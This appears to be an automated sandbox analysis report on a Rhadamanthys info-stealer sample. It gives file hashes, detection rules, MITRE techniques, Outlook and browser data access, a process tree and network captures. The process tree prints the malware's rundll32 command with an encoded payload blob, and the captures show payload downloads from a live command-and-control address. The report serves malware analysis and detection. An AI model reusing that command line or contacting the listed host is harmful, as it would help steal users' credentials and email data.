rhadamanthys | a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2023, 21:21 UTC

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General

Target

a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe
Size

248KB
MD5

dd70d6f65ac9130bad2fa6e1d212b8c1
SHA1

1efd5dbfe68f298292b3c74aa121dc1249bd7528
SHA256

a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee
SHA512

4a6771a0d400547d432ae461d5700307d3cee2e09377ac8f621a015f15c86e546f85b050700906a3a133d60b117968529bcfccc553afba754e10c769e9ceef78
SSDEEP

3072:FPP4OHwhsjezkNL959WwM95NueH39TBxLTEEIFBP1kuu5r:RP4cnj2GL/9PeX9lxLAEIFguu5

Score

10^/10

rhadamanthys collection discovery spyware stealer

Malware Config

Signatures

Detect rhadamanthys stealer shellcode 2 IoCs

resource	yara_rule
behavioral1/memory/4800-135-0x0000000002270000-0x000000000228D000-memory.dmp	family_rhadamanthys
behavioral1/memory/4800-143-0x0000000002270000-0x000000000228D000-memory.dmp	family_rhadamanthys

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	2536	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
2536	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1972	4800	WerFault.exe	78
3756	2536	WerFault.exe	82

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2536	rundll32.exe
2536	rundll32.exe
2536	rundll32.exe
2536	rundll32.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 2536	4800	a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe	82
PID 4800 wrote to memory of 2536	4800	a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe	82

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe
"C:\Users\Admin\AppData\Local\Temp\a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\system32\rundll32.exe
  "C:\Users\Admin\AppData\Roaming\nsis_unse567b9d.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8GT|AG0AagBzADf7ADQfAFQAegBMuwB1TwBJAEQtAln|SIPsKOgEAgD|AEiDxCjDzMz|zEyJRCQYSIn|VCQQSIlMJAj+XQFIi0QkMEiJ2wQkgQE4SG8ACEhvx0QkEC0B6w6BAV8QSIPAAY8BEIEBt0BIOZYAcyWfA4v|DCRIA8hIi8HXSItMqwFUewAD0f9Ii8qKCYgI6|3BZgVlSIsEJWD+8|AzyUiLUBhI|zvRdDZIg8Ig|0iLAkg7wnQq|2aDeEgYdRpM|4tAUGZBgzhru3QHERFLdQgREHj|EC50BUiLAOuv1UiLSP0AwWoAQP9TVVZXQVRBVe9BVkFXXQFmgTn|TVpNi|hMi|K|SIvZD4X88|BM|2NJPEGBPAlQv0UAAA+F6vPwQe+LhAmI8|CFwEi|jTwBD4TWahGDd7wJjC0BD4TH8|D|RItnIESLXxz|i3ckRItPGEz|A+FMA9lIA|H|M8lFhckPhKT+8|BNi8RBixBF|zPSSAPTigKE|8B0HUHByg0Pe77A+gABRAPQvxH|dexBgfqq|A3|fHQOg8EBSYP|wARBO8lzaev|xovBD7cMTkX|iyyLTAPrdFj7M+2qEHRRQYsU|sEA0zPJigJMi9|C6w|BycgRA8je5RABQYoA1RDtM3|AM|ZBOwy24BD+pgCDxgGD+Ahy|+7rCkiLy0H|f9VJiQT3g8XkEH|EBDtvGHKvZgH|QV9BXkFdQVzvX15dWzMXSIHs+2ABZACL6ehm|v|||0iFwA+EmNZ1IEyNrwGLKxDIM|f|6Jt9II1fBEz|jUVGM9KLy||3VCRogCBMi+AP64RrdSBFqBAzwIt905EgSIl8JCCmIP1wgCBIi|APhEv8dSCmIFBIjVYIRH+NR0BIjYwkhRG|SIvY6Hz9fiCNq1ZI3iAQ4iHM8|Do|WfvIESLBo1XCPRBIKYgWMohiYQkgNqHEt7z8IsO2iBYiWOMJHERBzCRIOgx7yD7i5wtMkyLXTpI74P7bEiKIDBMib9kJDhMi6QaMky7iVyEAYQk3IcRhu2SjRGNR0swjCTwfvPwSYvU6On8BTC7ipx4MkiNhHgyQf+A8yGNT2xEMP0YpAKD6QF184H9vHgyIVJleHVN74uEJPQiMZQk+P41AcJIO9hyOIP|+mx2M0SNSUCe+gCUQbgAmACmIECeyiL4dBlEtjDAMUnvjVQkbJEgSYPod2zoa4IwSIvOpiD|eEiF|3QSi1XzQkyOMBsxSI1MJD9A|9dIgcR0IWEkAC0ILQE=
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - outlook_office_path
  - outlook_win_path
  PID:2536
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2536 -s 280
    3⤵
    - Program crash
    PID:3756
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 708
  2⤵
  - Program crash
  PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4800 -ip 4800
1⤵
PID:3508

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 468 -p 2536 -ip 2536
1⤵
PID:3528

Network

GET

http://179.43.154.216/img/logo.jpg

a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe

Remote address:

179.43.154.216:80

Request

GET /img/logo.jpg HTTP/1.1
Host: 179.43.154.216
User-Agent: curl/5.9
Connection: close
X-CSRF-TOKEN: YhId6npNWJD5x8Ue23bivIu4MPjlQKAoTGXHJpNlBk0L6UFOsKpRkw0gtSQ94Z3HUGaWxwNRiiqeipaMftXZiQ==
Cookie: CSRF-TOKEN=YhId6npNWJD5x8Ue23bivIu4MPjlQKAoTGXHJpNlBk0L6UFOsKpRkw0gtSQ94Z3HUGaWxwNRiiqeipaMftXZiQ==; LANG=en-US

Response

HTTP/1.1 200 OK

Server: openresty
Date: Sun, 05 Feb 2023 21:21:49 GMT
Content-Type: image/jpeg
Content-Length: 929566
Connection: close
X-Served-By: 179.43.154.216
GET

http://179.43.154.216/img/logo.jpg

rundll32.exe

Remote address:

179.43.154.216:80

Request

GET /img/logo.jpg HTTP/1.1
Host: 179.43.154.216
User-Agent: curl/5.9
Upgrade: websocket
Connection: upgrade
Sec-Websocket-Version: 13
Sec-Websocket-Key: W7Hj1N6MR3WRauE

Response

HTTP/1.1 101 Switching Protocols

Server: openresty
Date: Sun, 05 Feb 2023 21:21:57 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 81YnpkesBm52K7X0tz0EFlgPPho=

93.184.220.29:80

322 B
7
179.43.154.216:80

http://179.43.154.216/img/logo.jpg

http

a7867748594a9112317189ae39d6e49f8d41ded2aca102209c2a73a13a1126ee.exe

21.4kB
957.4kB
433
690

HTTP Request

GET http://179.43.154.216/img/logo.jpg

HTTP Response

200
179.43.154.216:80

http://179.43.154.216/img/logo.jpg

http

rundll32.exe

75.2kB
2.7kB
66
38

HTTP Request

GET http://179.43.154.216/img/logo.jpg

HTTP Response

101
8.248.99.254:80

322 B
7
8.248.99.254:80

322 B
7
8.248.99.254:80

322 B
7
104.80.225.205:443

322 B
7
20.189.173.7:443

322 B
7
8.248.99.254:80

322 B
7
8.248.99.254:80

322 B
7
8.248.99.254:80

322 B
7

No results found

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\nsis_unse567b9d.dll

Filesize
49KB

MD5
832890fded186835970d1d3302590138

SHA1
5385703e9dcde43e60928b2e9c941b7232468a6a

SHA256
438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576

SHA512
5cf752eac75b532b32501c9d469cbcb6638b49cf20df040554b37986cbe3c068a10e2ff69747b594b5b114111cbbe1cdfbbd0f394a7ac71b863e042414a68ae1

Download Submit
C:\Users\Admin\AppData\Roaming\nsis_unse567b9d.dll

Filesize
49KB

MD5
832890fded186835970d1d3302590138

SHA1
5385703e9dcde43e60928b2e9c941b7232468a6a

SHA256
438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576

SHA512
5cf752eac75b532b32501c9d469cbcb6638b49cf20df040554b37986cbe3c068a10e2ff69747b594b5b114111cbbe1cdfbbd0f394a7ac71b863e042414a68ae1

Download Submit
memory/2536-141-0x00007FF4A4DE0000-0x00007FF4A4EDA000-memory.dmp

Filesize
1000KB

Download
memory/2536-140-0x0000020B42D50000-0x0000020B42D57000-memory.dmp

Filesize
28KB

Download
memory/2536-145-0x00007FF4A4DE0000-0x00007FF4A4EDA000-memory.dmp

Filesize
1000KB

Download
memory/2536-146-0x00007FF9B9480000-0x00007FF9B9492000-memory.dmp

Filesize
72KB

Download
memory/4800-135-0x0000000002270000-0x000000000228D000-memory.dmp

Filesize
116KB

Download
memory/4800-136-0x000000000062D000-0x000000000063E000-memory.dmp

Filesize
68KB

Download
memory/4800-134-0x0000000000400000-0x00000000004AA000-memory.dmp

Filesize
680KB

Download
memory/4800-133-0x00000000020D0000-0x00000000020F5000-memory.dmp

Filesize
148KB

Download
memory/4800-132-0x0000000000608000-0x0000000000629000-memory.dmp

Filesize
132KB

Download
memory/4800-142-0x0000000000608000-0x0000000000629000-memory.dmp

Filesize
132KB

Download
memory/4800-143-0x0000000002270000-0x000000000228D000-memory.dmp

Filesize
116KB

Download
memory/4800-144-0x0000000000608000-0x0000000000629000-memory.dmp

Filesize
132KB

Download